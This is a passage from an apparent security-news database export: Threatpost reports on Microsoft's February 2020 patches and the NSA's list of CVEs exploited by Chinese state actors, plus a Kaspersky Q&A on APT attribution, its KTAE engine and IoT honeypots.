Server 2008, 2012, 2016 and 2019, respectively.\n\n\u201cThese vulnerabilities allow attackers to access a system and read or delete contents, make changes or directly run code on the system,\u201d he said via email. \u201cThis gives an attacker quick and easy access to not only your organization\u2019s most critical data stored in the SQL server but also a platform to perform additional malicious attacks against other devices in your environment.\u201d\n\nThe critical bug can lead to RCE if an attacker has Domain User credentials, according to Jimmy Graham, researcher with Qualys.\n\n\u201cWhile this vulnerability is labeled as \u2018exploitation less likely,\u2019 this vulnerability can be attacked over the network with no user interaction according to the CVSS Vector Strings set by Microsoft,\u201d he explained in [an analysis](<https://blog.qualys.com/laws-of-vulnerabilities/2020/02/11/february-2020-patch-tuesday-99-vulns-12-critical-patch-for-ie-0-day-exchange-vuln-adobe-vulns>). \u201cThe impacted service is not stated in the bulletin. Based on the information given, this should be prioritized across all Windows servers and workstations.\u201d\n\nAdditionally, two critical remote code-execution vulnerabilities in Remote Desktop ([CVE-2020-0681](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0681>) and [CVE-2020-0734](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0734>)) were patched, and are likely to be exploited, according to Microsoft.\n\n\u201cExploitation of these requires an attacker to either persuade their victim into connecting to a vulnerable Remote Desktop Server operated by the attacker, or plant malicious code on a compromised Remote Desktop Server and wait for the vulnerable user to connect to it,\u201d Satnam Narang, senior research engineer at Tenable, explained via email.\n\nRichard Tsang, senior software engineer at Rapid7, told Threatpost that CVE-2020-0734 is a critical Windows Remote Desktop Client vulnerability that exists in how connection requests are handled.\n\n\u201cThe stream of [Windows Remote Desktop vulnerabilities continues](<https://threatpost.com/wormable-remote-desktop-bugs-august-patch-tuesday/147302/>), albeit having slowed down,\u201d he said. \u201cIn this scenario, a compromised legitimate server (or a malicious server) can be used to trigger the remote code execution. Given the extra eyes on RDP vulnerabilities of late, prioritizing operating system patches on this front would be a prudent move.\u201d\n\nOne other critical bug to note is [CVE-2020-0729](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0729>), a .LNK RCE vulnerability, which Childs said is similar to the bug that was exploited by [the Stuxnet malware](<https://threatpost.com/stuxnet-apts-gossip-girl/143595/>). Stuxnet was used to take out Iranian nuclear enrichment facilities in 2012. The new bug can also be used to attack air-gapped \u201csecure\u201d systems, he said, by exploiting shortcut .LNK files.\n\n\u201cBugs impacting link files (.LNK) never fail to amaze me,\u201d said Childs. \u201cAn attacker could use this vulnerability to get code execution by having an affected system process a specially crafted .LNK file. This could be done by convincing a user to open a remote share, or \u2013 as has been seen in the past \u2013 placing the .LNK file on a USB drive and having the user open it. It\u2019s a handy way to exploit an air-gapped system.\u201d\n\nThe other critical bugs fixed by Microsoft in February are CVE-2020-0738, a Media Foundation Memory Corruption Vulnerability allowing RCE; and several Scripting Engine Memory Corruption Vulnerabilities allowing RCE. This latter group includes CVE-2020-0710, CVE-2020-0711, CVE-2020-0712, CVE-2020-0713, CVE-2020-0673 and CVE-2020-0767.\n\n## Important-Rated Patches\n\nAs for the important-rated patches, the volume of elevation-of-privilege (EoP) bugs being patched is \u201csomewhat staggering,\u201d ZDI\u2019s Childs noted, with 55 patches in all. Also, information-disclosure bugs are well-represented, with 16 patches in February, including a publicly known bug ([CVE-2020-0706](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0706>)) impacting IE and Edge. Childs said that six of them exist in the Cryptography Next Generation (CNG) portion of the Windows Key Isolation service.\n\nChilds also flagged [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>), a memory-corruption bug in Microsoft Exchange, which could be trivially exploited to grant an attacker the ability to create a new account, install programs, and view, change or delete data.\n\n\u201cThis code-execution bug in Exchange is only listed as important, but you should treat it as a critical-rated vulnerability,\u201d he said. \u201cAn attacker could gain code execution on affected Exchange servers by sending a specially crafted email. No other user interaction is required. The code execution occurs at System-level permissions, so the attacker could completely take control of an Exchange server through a single email.\u201d\n\n## Racing Against Exploitation\n\nMicrosoft\u2019s February update is the largest in quite some time, researchers said, with flaws disclosed for Windows, Edge (EdgeHTML-based), ChakraCore, Internet Explorer (IE), SQL Server, Exchange Server, Office, Office Services and Web Apps, Azure DevOps Server, Team Foundation Server and the Microsoft Malware Protection Engine.\n\nAnd, five of the CVEs (including the previously mentioned zero day and the info-disclosure bug affecting browsers) have been publicly disclosed \u2014 and thus offer a threat actors a head start on exploitation.\n\n\u201cOverall, this is a very heavy Patch Tuesday on the Microsoft end. The race to patch critical vulnerabilities on your systems within the next 72 hours is on,\u201d Goodman advised. \u201cAttackers will have no shortage of exploitable vulnerabilities and new attack vectors to bring to bear in the coming days with nearly every build of Windows accounted for with critical vulnerabilities.\u201d\n\nAlso, for the first time, Microsoft is not updating Windows 7 this month.\n\n\u201cToday is a significant Patch Tuesday, marking the first time there will be no patches for Windows 7,\u201d Rui Lopes, engineering and technical support director at Panda Security, told Threatpost. \u201cHowever, that doesn\u2019t mean there aren\u2019t vulnerabilities. In fact, today\u2019s release features several critical and zero-day patches to be deployed, so any machines still running Windows 7 are now, by default, exceptionally vulnerable\u2014providing open doors for hackers to walk through and exploit. Therefore, if you have any devices running Windows 7, it is top priority to update them immediately.\u201d\n\nThe good news, according to Todd Schell, senior product manager for security at Ivanti, is that most of the CVEs can be resolved by applying just a few Microsoft updates.\n\n\u201cOn average, your OS updates will resolve around 50 CVEs,\u201d he explained, via email. \u201cThe normal updates still apply. OS, browsers, and Office will resolve most of your vulnerabilities from the Microsoft side. SQL and Exchange Admins do get a bit of extra work this month as both of those products are included in the updates released\u2026[but with] a couple of patches per system you can take the teeth out of the majority of the risk this month.\u201d\n\nOne vulnerability worth mentioning in this context this month is [CVE-2020-0689](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0689>), a security feature bypass that was also previously disclosed; an attacker could bypass secure boot and load untrusted software.\n\nBoth Childs and Tsang noted that while the vulnerability itself is not that interesting, what stands out is the fact that the remediation steps are different from the usual patching practices.\n\n\u201cWhereas most operating system-level vulnerabilities are bundled in either a Security-Only/Monthly Rollup or Cumulative Update stream, this fix is segregated out in separate KB patches that also have explicit Servicing Stack Update prerequisites,\u201d Tsang said. \u201cThe idea that there\u2019s a change in process, in itself, is something to note.\u201d\n\nChilds added, \u201cWhile this is certainly a bug to scrutinize, it\u2019s compounded by a non-standard patching process. This month\u2019s servicing stack must first be applied, then additional standalone security updates need to be installed. If you have the Windows Defender Credential Guard (Virtual Secure Mode) enabled, you\u2019ll need to go through two additional reboots as well. All this is needed to block impacted third-party bootloaders.\u201d\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-11T22:06:57", "type": "threatpost", "title": "Microsoft Addresses Active Attacks, Air-Gap Danger with 99 Patches", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0618", "CVE-2020-0662", "CVE-2020-0673", "CVE-2020-0674", "CVE-2020-0681", "CVE-2020-0688", "CVE-2020-0689", "CVE-2020-0706", "CVE-2020-0710", "CVE-2020-0711", "CVE-2020-0712", "CVE-2020-0713", "CVE-2020-0729", "CVE-2020-0734", "CVE-2020-0738", "CVE-2020-0767", "CVE-2020-5135"], "modified": "2020-02-11T22:06:57", "id": "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "href": "https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T15:51:14", "description": "Chinese state-sponsored cyberattackers are actively compromising U.S. targets using a raft of known security vulnerabilities \u2013 with a Pulse VPN flaw claiming the dubious title of \u201cmost-favored bug\u201d for these groups.\n\nThat\u2019s according to the National Security Agency (NSA), which released a \u201ctop 25\u201d list of the exploits that are used the most by China-linked advanced persistent threats (APT), which include the likes of [Cactus Pete](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>), [TA413,](<https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/>) [Vicious Panda](<https://threatpost.com/coronavirus-apt-attack-malware/153697/>) and [Winniti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>).\n\nThe Feds [warned in September](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) that Chinese threat actors had successfully compromised several government and private sector entities in recent months; the NSA is now driving the point home about the need to patch amid this flurry of heightened activity.[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany of these vulnerabilities can be used to gain initial access to victim networks by exploiting products that are directly accessible from the internet,\u201d warned the NSA, in its Tuesday [advisory](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2387347/nsa-warns-chinese-state-sponsored-malicious-cyber-actors-exploiting-25-cves/>). \u201cOnce a cyber-actor has established a presence on a network from one of these remote exploitation vulnerabilities, they can use other vulnerabilities to further exploit the network from the inside.\u201d\n\nAPTs \u2013 Chinese and otherwise \u2013 have ramped up their cyberespionage efforts in the wake of the pandemic as well as in the leadup to the U.S. elections next month. But Chlo\u00e9 Messdaghi, vice president of strategy at Point3 Security, noted that these vulnerabilities contribute to an ongoing swell of attacks.\n\n\u201cWe definitely saw an increase in this situation last year and it\u2019s ongoing,\u201d she said. \u201cThey\u2019re trying to collect intellectual property data. Chinese attackers could be nation-state, could be a company or group of companies, or just a group of threat actors or an individual trying to get proprietary information to utilize and build competitive companies\u2026in other words, to steal and use for their own gain.\u201d\n\n## **Pulse Secure, BlueKeep, Zerologon and More**\n\nPlenty of well-known and infamous bugs made the NSA\u2019s Top 25 cut. For instance, a notorious Pulse Secure VPN bug (CVE-2019-11510) is the first flaw on the list.\n\nIt\u2019s an [arbitrary file-reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers. In April of this year, the Department of Homeland Security\u2019s Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) attackers are actively using the issue to steal passwords to infiltrate corporate networks. And in fact, this is the bug at the heart of the [Travelex ransomware fiasco](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) that hit in January.\n\nPulse Secure issued a patch in April 2019, but many companies impacted by the flaw still haven\u2019t applied it, CISA warned.\n\nAnother biggie for foreign adversaries is a critical flaw in F5 BIG-IP 8 proxy/load balancer devices ([CVE-2020-5902](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>)). This remote code-execution (RCE) bug exists in the Traffic Management User Interface (TMUI) of the device that\u2019s used for configuration. It allows complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serving as a hop-point into other areas of the network.\n\nAt the end of June, F5 issued urgent patches the bug, which has a CVSS severity score of 10 out of 10 \u201cdue to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d researchers said at the time. Thousands of devices were shown to be vulnerable in a Shodan search in July.\n\nThe NSA also flagged several vulnerabilities in Citrix as being Chinese faves, including CVE-2019-19781, which was revealed last holiday season. The bug exists in the Citrix Application Delivery Controller (ADC) and Gateway, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web. An exploit can lead to RCE without credentials.\n\nWhen it was originally disclosed in December, the vulnerability did not have a patch, and Citrix had to [scramble to push fixes out](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) \u2013 but not before public proof-of-concept (PoC) exploit code emerged, along with active exploitations and mass scanning activity for the vulnerable Citrix products.\n\nOther Citrix bugs in the list include CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196.\n\nMeanwhile, Microsoft bugs are well-represented, including the [BlueKeep RCE bug](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) in Remote Desktop Services (RDP), which is still under active attack a year after disclosure. The bug tracked as CVE-2019-0708 can be exploited by an unauthenticated attacker connecting to the target system using RDP, to send specially crafted requests and execute code. The issue with BlueKeep is that researchers believe it to be wormable, which could lead to a WannaCry-level disaster, they have said.\n\nAnother bug-with-a-name on the list is [Zerologon](<https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/>), the privilege-escalation vulnerability that allows an unauthenticated attacker with network access to a domain controller to completely compromise all Active Directory identity services. It was patched in August, but many organizations remain vulnerable, and the DHS recently [issued a dire warning](<https://threatpost.com/dire-patch-warning-zerologon/159404/>) on the bug amid a tsunami of attacks.\n\nThe very first bug ever reported to Microsoft by the NSA, CVE-2020-0601, is also being favored by Chinese actors. This spoofing vulnerability, [patched in January,](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.\n\nTwo proof-of-concept (PoC) exploits were publicly released just a week after Microsoft\u2019s January Patch Tuesday security bulletin addressed the flaw.\n\nThen there\u2019s a high-profile Microsoft Exchange validation key RCE bug ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)), which stems from the server failing to properly create unique keys at install time.\n\nIt was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed APT actors. But as of Sept. 30, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers [were still vulnerable](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) to the flaw.\n\n## **The Best of the Rest**\n\nThe NSA\u2019s Top 25 list covers plenty of ground, including a [nearly ubiquitous RCE bug](<https://threatpost.com/critical-microsoft-rce-bugs-windows/145572/>) (CVE-2019-1040) that, when disclosed last year, affected all versions of Windows. It allows a man-in-the-middle attacker to bypass the NTLM Message Integrity Check protection.\n\nHere\u2019s a list of the other flaws:\n\n * CVE-2018-4939 in certain Adobe ColdFusion versions.\n * CVE-2020-2555 in the Oracle Coherence product in Oracle Fusion Middleware.\n * CVE-2019-3396 in the Widget Connector macro in Atlassian Confluence Server\n * CVE-2019-11580 in Atlassian Crowd or Crowd Data Center\n * CVE-2020-10189 in Zoho ManageEngine Desktop Central\n * CVE-2019-18935 in Progress Telerik UI for ASP.NET AJAX.\n * CVE-2019-0803 in Windows, a privilege-escalation issue in the Win32k component\n * CVE-2020-3118 in the Cisco Discovery Protocol implementation for Cisco IOS XR Software\n * CVE-2020-8515 in DrayTek Vigor devices\n\nThe advisory also covers three older bugs: One in Exim mail transfer (CVE-2018-6789); one in Symantec Messaging Gateway (CVE-2017-6327); and one in the WLS Security component in Oracle WebLogic Server (CVE-2015-4852).\n\n\u201cWe hear loud and clear that it can be hard to prioritize patching and mitigation efforts,\u201d NSA Cybersecurity Director Anne Neuberger said in a media statement. \u201cWe hope that by highlighting the vulnerabilities that China is actively using to compromise systems, cybersecurity professionals will gain actionable information to prioritize efforts and secure their systems.\u201d\n", "cvss3": {}, "published": "2020-10-21T20:31:17", "type": "threatpost", "title": "Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-21T20:31:17", "id": "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "href": "https://threatpost.com/bug-nsa-china-backed-cyberattacks/160421/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2020-08-07T08:03:43", "description": "\n\nOn June 17, we hosted our first "GReAT Ideas. Powered by SAS" session, in which several experts from our Global Research and Analysis Team shared insights into APTs and threat actors, attribution, and hunting IoT threats.\n\nHere is a brief summary of the agenda from that webinar:\n\n * Linking attacks to threat actors: case studies by Kurt Baumgartner\n * Threat hunting with Kaspersky's new malware attribution engine by Costin Raiu\n * Microcin-2020: GitLab programmers ban, async sockets and the sock by Denis Legezo\n * The next generation IoT honeypots by Dan Demeter, Marco Preuss, and Yaroslav Shmelev\n\nSadly, the two hours of the session were not enough for answering all of the questions raised, therefore we try to answer them below. Thanks to everyone who participated, and we appreciate all the feedback and ideas!\n\n## Questions about threat actors and APTs\n\n 1. _How do you see Stonedrill deployment comparing now? Its discovery was based on lucky structural similarities with Shamoon, but do you see it actively used or correlating to the spread of this malware?_\n\nThere is some 2020 activity that looks like it could be Stonedrill related, but, in all likelihood, it is not. We are digging through details and trying to make sense of the data. Regardless, wiper activity in the Middle East region from late 2019 into early 2020 deployed code dissimilar to Stonedrill but more similar to Shamoon wipers. We stuck with the name "Dustman" \u2013 it implemented the Eldos ElRawDsk drivers. Its spread did not seem Stonedrill related.\n\nAt the same time, no, the Stonedrill discovery was not based on luck. And, there are multiple overlaps between Shamoon 2.0 and Stonedrill that you may review under "Download full report" in '[From Shamoon to StoneDrill](<https://securelist.com/from-shamoon-to-stonedrill/77725/>)' blogpost. You might note that Stonedrill is a somewhat more refined and complex code, used minimally.\n\nWhile the Shamoon spreader shared equivalent code with Orangeworm's Kwampirs spreader, and are closely linked, we have not seen the same level of similarity with Stonedrill. However, several of the Shamoon 2.0 executables share quite a few unique genotypes with both Stonedrill and Kwampirs. In the above paper, we conclude that Stonedrill and Shamoon are most likely spread by two separate groups with aligned interests for reasons explained in the report PDF. Also, it may be that some of the codebase, or some of the resources providing the malware, are shared.\n 2. _Do the authors of Shamoon watch these talks?_\n\nPerhaps. We know that not only do offensive actors and criminals attempt to reverse-engineer and evade our technologies, but they attempt to attack and manipulate them over time. Attending a talk or downloading a video later is probably of interest to any group.\n 3. _Are there any hacker-for-hire groups that are at the top level? How many hacker-for-hire groups do you see? Are there any hacker-for-hire groups coming out of the West?_\n\nYes. There are very capable and experienced hack-for-hire groups that have operated for years. We do not publicly report on all of them, but some come up in the news every now and then. At the beginning of 2019, Reuters reported insightful content on a top-level mercenary group and their Project Raven in the Middle East, for example. Their coordination, technical sophistication and agile capabilities were all advanced. In addition to the reported challenges facing the Project Raven group, some of these mercenaries may be made up of a real global mix of resources, presenting moral and ethical challenges.\n 4. _I assume Sofacy watches these presentations. Has their resistance to this analysis changed over time?_\n\nAgain, perhaps they do watch. In all likelihood, what we call "Sofacy" is paying attention to our research and reporting like all the other players.\n\nSofacy is an interesting case as far as their resistance to analysis: their main backdoor, SPLM/CHOPSTICK/X-Agent, was modular and changed a bit over the course of several years, but much of that code remained the same. Every executable they pushed included a modified custom encryption algorithm to hide away configuration data if it was collected. So, they were selectively resistant to analysis. Other malware of theirs, X-Tunnel, was re-coded in .Net, but fundamentally, it is the same malware. They rotated through other malware that seems to have been phased out and may be re-used at some point.\n\nThey are a prolific and highly active APT. They added completely new downloaders and other new malware to their set. They put large efforts into non-executable-based efforts like various credential harvesting techniques. So, they have always been somewhat resistant to analysis, but frequently leave hints in infrastructure and code across all those efforts.\n\nZebrocy, a subset of Sofacy, pushed malware with frequent changes by recoding their malware in multiple languages, but often maintain similar or the same functionality over the course of releases and re-releases. This redevelopment in new and often uncommon languages can be an issue, but something familiar will give it away.\n 5. _Have we seen a trend for target countries to pick up and use tools/zero-days/techniques from their aggressors? Like, is Iran more likely to use Israeli code, and vice versa?_\n\nFor the most part, no, we don't see groups repurposing code potentially only known to their adversary and firing it right back at them, likely because the adversary knows how to, and probably is going to watch for blowback.\n\nTangentially, code reuse isn't really a trend, because offensive groups have always picked up code and techniques from their adversaries, whether or not these are financially motivated cybercriminal groups or APT. And while we have mentioned groups "returning fire" in the past, like Hellsing [returning spear-phish](<https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/>) on the Naikon APT, a better example of code appropriation is VictorianSambuca or Bemstour. We talked about it at our T3 gathering in Cancun in October. It was malware containing an interesting zero-day exploit that was collected, re-purposed, touched up and re-deployed by APT3, HoneyMyte and others. But as far as we know, the VictorianSambuca package was picked up and used against targets other than its creator.\n\nAlso, somewhere in the Darkhotel/Lazarus malware sets, there may be some code blowback, but those details haven't yet been hammered out. So, it does happen here and there, maybe out of necessity, maybe to leave a calling card and shout-out, or to confuse matters.\n 6. _If using API-style programming makes it easier to update malware, why don't more threat actors use it?_\n\nI think here we are talking about Microcin last-stage trojan exported function callbacks. Nobody could tell for sure, but from my point of view, it's a matter of the programmer's experience. The "senior" one takes a lot into consideration during development, including architectural approach, which could make maintenance easier in the future.\n\nThe "junior" one just solves the trojan's main tasks: spying capabilities, adds some anti-detection, anti-analysis tricks, and it's done. So maybe if the author has "normal" programming experience, he carefully planned data structures, software architecture. Seems like not all of the actors have developers like that.\n 7. _Have you seen proxying/tunneling implants using IOTs for APT operations, such as the use of SNMP by CloudAtlas? Do you think that's a new way to penetrate company networks? Have you ever encountered such cases?_\n\nWe watched the massive Mirai botnets for a couple years, waiting to see an APT takeover or repurposing, and we didn't find evidence that it happened. Aside from that, yes, APT are known to have tunneled through a variety of IOT to reach their intended targets. IOT devices like security web cams and their associated network requirements need to be hardened and reviewed, as their network connections may lead to an unintended exposure of internal resources.\n\nWith elections around the world going on, municipalities and government agencies contracting with IT companies need to verify attack surface hardening and understand that everything, from their Internet-connected parking meters to connected light bulbs, can be part of a targeted attack, or be misused as a part of an incident.\n 8. _How often do you see steganography like this being used by other actors? Any other examples?_\n\nSteganography isn't used exclusively by the SixLittleMonkeys actor for sure. We could also mention here such malware as NetTraveller, Triton, Shamoon, Enfal, etc. So, generally, we could say the percentage of steganography usage among all the malicious samples is quite low, but it happens from time to time.\n\nThe main reason to use it from malefactors' point of view is to conceal not just the data itself but the fact that data is being uploaded or downloaded. E.g. it could help to bypass deep packet inspection (DPI) systems, which is relevant for corporate security perimeters. Use of steganography may also help bypass security checks by anti-APT products, if the latter cannot process all image files.\n\n## Questions about KTAE (Kaspersky Threat Attribution Engine)\n\nFor more information, please also have a look at our previous blogpost, [Looking at Big Threats Using Code Similarity. Part 1](<https://securelist.com/big-threats-using-code-similarity-part-1/97239/>), as well as at our [product page](<https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool>).\n\n 9. _What are "genotypes"?_ \nGenotypes are unique fragments of code, extracted from a malware sample.\n 10. _How fine-grained do you attribute the binaries? Can you see shared authors among the samples?_ \nKTAE does not include author information per se. You can see shared relevant code and strings overlaps.\n 11. _Are genotypes and YARA rules connected?_ \nNot directly. But you can use genotypes to create effective YARA rules, since the YARA engine allows you to search for byte sequences.\n 12. _How many efforts do you see for groups to STEAL+REUSE attribution traces on purpose?_ \nWe have seen such efforts and reported about them, for example with [OlympicDestroyer](<https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/>)\n 13. _How do you go about removing third-party code sharing?_ \nWe incorporated our own intelligence to only match on relevant parts of the samples.\n 14. _Do genotypes work on different architectures, like MIPS, ARM, etc.? I'm thinking about IoT malware._ \nYes, they work with any architecture.\n 15. _What determines your "groundtruth"?_ \nGroundtruth is a collection of samples based on our 20+ years of research and classification of malware.\n 16. _Can KATE be implemented in-house?_ \nWe offer multiple options for deploying KTAE. Please get in touch with us for more info: https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool.\n 17. _For the attribution engine, would you expect APT-group malware authors to start integrating more external code chunks from other groups to try to evade attribution?_ \nWe see such behavior; please refer to Question 12 above.\n 18. _Do you feel more manufacturers will follow Kaspersky's suit in letting victims know the threat actors behind malware detections on endpoints?_ \nAt the moment, KTAE is a standalone solution not integrated in endpoints.\n 19. _What is the parameter for looking at the similarity in malware code? Strings? Packer? Code? What else?_ \nKTAE uses genotypes to match similarities.\n 20. _How do I make a difference, if for example, I am a threat actor and reuse the code form some APT Group? How to define it is really the same actor and not just an impersonator who used the same code or malware, or reused the malware for my operation?_ \nKTAE handles code similarities for malware samples to provide relevant information on that basis. Further information to be used for attribution may be TTPs, etc. for which you may find our [Kaspersky Threat Intelligence Services](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) helpful.\n 21. _I guess the follow-up is,- will they be able to evade the attribution after watching these webinars, learning about the attribution engine?_ \nIt's known that such techniques can be used to do technical attribution on malware-sample basis. Attempts at evading these would mean knowing all the details and metrics and database entries (including updates) to check against something rather complex and difficult.\n 22. _Can you start taking the samples submitted by CYBERCOM and just post publicly what KTAE says in the future?_ \nWe are posting certain interesting findings, e.g. on Twitter.\n 23. _How do we buy KTAE? Is it a private instance in our own org or hosted by you?_ \nWe offer multiple options for deploying KTAE. Please get in touch with us for more info: https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool.\n 24. _Can you expand on how you identify a genotype and determine that it is unique?_ \nGenotypes are unique fragments of code, extracted from a malware sample. As for uniqueness, there is a good reference: the Fruit Ninja Game. We played Fruit Ninja and extracted (sliced) genotypes from all good programs that are known to us, then we did the same with malicious samples and samples marked as APTs. After that operation, we knew all genotypes that belonged to good programs and removed them from the databases that belonged to bad ones. We also save the numbers of times genotypes appear in the samples, so we can identify the really unique stuff.\n 25. _How many zero-day vendors do you see with this engine?_ \nKTAE is not handling vulnerabilities but only code fragments and such, for similarity checks.\n 26. _In the future, do you see a product like KTAE being integrated into security offerings from Kaspersky, so that samples can be automatically scanned when detected as an alert, as opposed to individually uploading them?_ \nWe are planning to do cross-product integration.\n 27. _Have you run The Shadowbrokers samples through KTAE and if so, were there any unexpected overlaps?_ \nYes, we did. We found an overlap between Regin samples and cnli-1.dll\n 28. _Could it be easy for a threat actor to change code to avoid KTAE identification?_ \nTheoretically, yes. Assuming they produce never-before-seen genotypes, KTAE might miss classifying that malware. With that being said, generating completely new genotypes requires a lot of time and money, plus a lot of careful work. We wish threat actors good luck with that. \ud83d\ude42\n 29. _When you attribute a campaign, do you also consider some aspects relating to sociopolitical events?_ \nAt Kaspersky, we only do technical attribution, such as based on similarities in malware samples or TTPs of groups; we don't do attribution on any entity, geopolitical or social level.\n\n## Questions about IoT threats and honeypots\n\nIf you want to join our honeypot project, please get in touch with us at honeypots@kaspersky.com.\n\n 30. _Do you have any IoT dataset available for academia?_ \nPlease get in touch with us via our email address listed above (honeypots@kaspersky.com).\n 31. _How does a system choose which honeypots to direct an attack at?_ \nWe developed this modular and flexible infrastructure with defined policies to handle that automatically, based on the attack.\n 32. _Okay, so, soon, IoT malware will do a vmcheck before it loads\u2026. Then what?_ \nIn our honeypots, we use our own methods to defeat anti-VM checks. Depending on future development of malware, we are also prepared to adjust these to match actual vmcheck methods.\n 33. _Do the honeypots support threat intelligence formats like STIX and TAXII?_ \nCurrently, such a feature is not available yet. If there is interest, we can implement this to improve the use for our partners.\n 34. _Can anyone partner with you guys? Or do they need certain visibility or infrastructure to help out?_ \nAnyone with a spare IP-address and able to host a Linux system to receive attacks can participate. Please get in touch with us at honeypots[at]kaspersky[dot]com.\n\n## Questions about Kaspersky products and services\n\n 35. _What new technology has Kaspersky implemented in their endpoint product? As EDR is the latest emerging technology, has Kaspersky implemented it in their endpoint product?_ \nKaspersky Endpoint product contains EDR besides other cutting-edge technologies. There are more details listed here on [the product page](<https://www.kaspersky.com/enterprise-security/endpoint-product>).\n 36. _What do you think of the Microsoft Exchange Memory Corruption Vulnerability bug? How can Kaspersky save the host system in such attacks?_ \nWe should know the CVE number of the bug the question refers to. From what we know, one of "loud" bugs that was fixed recently was CVE-2020-0688. It is referenced [here](<https://support.microsoft.com/en-us/help/4536987/security-update-for-exchange-server-2019-and-2016>). We detect this vulnerability in our products using the Behavior Detection component with the verdict name: PDM:Exploit.Win32.GenericAlso, Kaspersky products have vulnerability scanners that notify you about vulnerabilities in installed software, and we also [provide](<https://www.kaspersky.com/small-to-medium-business-security/downloads/systems-management>) a patch management solution for business environments that helps system administrators handle software updates for all computers and servers on the corporate network.\n 37. _How can a private DNS protect the Host System from attacks?_ \nWhile DNS is a key component of the Internet, disrupting DNS queries can impact a large portion of Internet users. We know for sure the people running DNS Root servers are professionals and know their job really well, so we are not worried that much about Root servers being disrupted. Unfortunately, attackers sometimes focus on specific DNS resolvers and manage to disrupt large portions of the Internet, as in the [2016 DDoS against the Dyn DNS resolver](<https://en.wikipedia.org/wiki/2016_Dyn_cyberattack>). Although it is limited in its use, a private DNS system can protect against large DDoS attacks, because it will be private and may be harder to reach by the attackers.\n\n## Advanced questions raised\n\nWe are not afraid of tough questions; therefore, we did not filter out the following ones.\n\n 38. _Where can we get one of those shirts Costin is wearing?_ \nWe are about to launch a GReAT merchandise shop soon \u2013 stay tuned.\n 39. _Who cut Jeff's hair?_ \nEdward Scissorhands. He's a real artist. Can recommend.\n 40. _Did Costin get a share from the outfits found in the green Lambert's house when it got raided?_ \nWe can neither confirm nor deny.\n 41. _Who is a better football team, Steelers or Ravens?_ \nFootball? Is that the game where they throw frisbees?\n\nWe hope you find these answers useful. The next series of the GReAT Ideas. Powered by SAS webinars, where we will share more of our insights and research, will take place on July 22. You can register for the event here: <https://kas.pr/gi-sec>\n\nAs we 